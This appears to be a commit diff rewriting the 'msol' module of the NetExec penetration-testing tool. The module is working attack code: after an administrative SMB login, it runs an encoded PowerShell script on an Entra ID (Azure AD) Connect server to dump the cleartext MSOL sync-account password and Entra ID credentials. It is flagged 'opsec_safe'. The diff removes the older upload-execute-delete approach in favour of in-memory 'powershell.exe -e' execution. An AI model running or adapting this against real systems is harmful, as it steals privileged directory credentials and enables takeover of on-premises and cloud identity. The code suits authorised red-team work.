|
1 | | -# MSOL module for nxc |
| 1 | +# MSOL module for NetExec |
2 | 2 | # Author of the module : https://twitter.com/Daahtk |
3 | 3 | # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/ |
4 | | -from sys import exit |
5 | | -from os import path |
6 | | -from nxc.paths import TMP_PATH |
| 4 | +# Fully rewritten by @NeffIsBack |
| 5 | +from base64 import b64encode |
7 | 6 | from nxc.helpers.powershell import get_ps_script |
8 | 7 |
|
9 | 8 |
|
10 | 9 | class NXCModule: |
| 10 | + """Module by @NeffIsBack""" |
11 | 11 | name = "msol" |
12 | | - description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server" |
| 12 | + description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server" |
13 | 13 | supported_protocols = ["smb"] |
14 | 14 | opsec_safe = True |
15 | 15 | multiple_hosts = True |
16 | 16 |
|
17 | | - def __init__(self, context=None, module_options=None): |
18 | | - self.use_embedded = None |
19 | | - self.MSOL_PS1 = None |
20 | | - self.msol_embedded = None |
21 | | - self.cmd = None |
22 | | - self.msolmdl = None |
23 | | - self.msol = None |
24 | | - self.tmp_share = None |
25 | | - self.share = None |
26 | | - self.tmp_dir = None |
27 | | - self.context = context |
28 | | - self.module_options = module_options |
| 17 | + def __init__(self): |
| 18 | + self.context = None |
| 19 | + self.module_options = None |
29 | 20 |
|
30 | | - def options(self, context, module_options): |
31 | | - """MSOL_PS1 // Path to the msol binary on your computer""" |
32 | | - self.tmp_dir = "C:\\Windows\\Temp\\" |
33 | | - self.share = "C$" |
34 | | - self.tmp_share = self.tmp_dir.split(":")[1] |
35 | | - self.msol = "msol.ps1" |
36 | | - self.use_embedded = True |
37 | | - self.msolmdl = self.cmd = "" |
38 | | - |
39 | | - with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc: |
40 | | - self.msol_embedded = msolsc.read() |
| 21 | + self.entra_id_psscript = "" |
41 | 22 |
|
42 | | - if "MSOL_PS1" in module_options: |
43 | | - self.MSOL_PS1 = module_options["MSOL_PS1"] |
44 | | - self.use_embedded = False |
| 23 | + with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile: |
| 24 | + for line in psFile: |
| 25 | + if line.startswith("#") or line.strip() == "": |
| 26 | + continue |
| 27 | + else: |
| 28 | + self.entra_id_psscript += line.strip() + "\n" |
45 | 29 |
|
46 | | - def exec_script(self, _, connection): |
47 | | - command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1" |
48 | | - return connection.execute(command, True) |
| 30 | + def options(self, context, module_options): |
| 31 | + """No module options available.""" |
49 | 32 |
|
50 | 33 | def on_admin_login(self, context, connection): |
51 | | - if self.use_embedded: |
52 | | - file_to_upload = f"{TMP_PATH}/msol.ps1" |
| 34 | + psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8") |
| 35 | + out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True) |
53 | 36 |
|
54 | | - try: |
55 | | - with open(file_to_upload, "w") as msol: |
56 | | - msol.write(self.msol_embedded) |
57 | | - except FileNotFoundError: |
58 | | - context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!") |
59 | | - exit(1) |
60 | | - |
61 | | - else: |
62 | | - if path.isfile(self.MSOL_PS1): |
63 | | - file_to_upload = self.MSOL_PS1 |
64 | | - else: |
65 | | - context.log.fail(f"Cannot open {self.MSOL_PS1}") |
66 | | - exit(1) |
| 37 | + if "CLIXML" in out: |
| 38 | + out = out.split("CLIXML")[1].split("<Objs Version")[0] |
67 | 39 |
|
68 | | - context.log.display(f"Uploading {self.msol}") |
69 | | - with open(file_to_upload, "rb") as msol: |
70 | | - try: |
71 | | - connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read) |
72 | | - context.log.success("Msol script successfully uploaded") |
73 | | - except Exception as e: |
74 | | - context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") |
75 | | - return |
76 | | - try: |
77 | | - if self.cmd == "": |
78 | | - context.log.display("Executing the script") |
79 | | - p = self.exec_script(context, connection) |
80 | | - for line in p.splitlines(): |
81 | | - p1, p2 = line.split(" ", 1) |
82 | | - context.log.highlight(f"{p1} {p2}") |
| 40 | + for line in out.splitlines(): |
| 41 | + if not line.strip(): |
| 42 | + continue |
| 43 | + if "[!]" in line: |
| 44 | + context.log.fail(line.replace("[!]", "").strip()) |
83 | 45 | else: |
84 | | - context.log.fail("Script Execution Impossible") |
85 | | - |
86 | | - except Exception as e: |
87 | | - context.log.fail(f"Error running command: {e}") |
88 | | - finally: |
89 | | - try: |
90 | | - connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}") |
91 | | - context.log.success("Msol script successfully deleted") |
92 | | - except Exception as e: |
93 | | - context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}") |
| 46 | + context.log.highlight(line.strip()) |
0 commit comments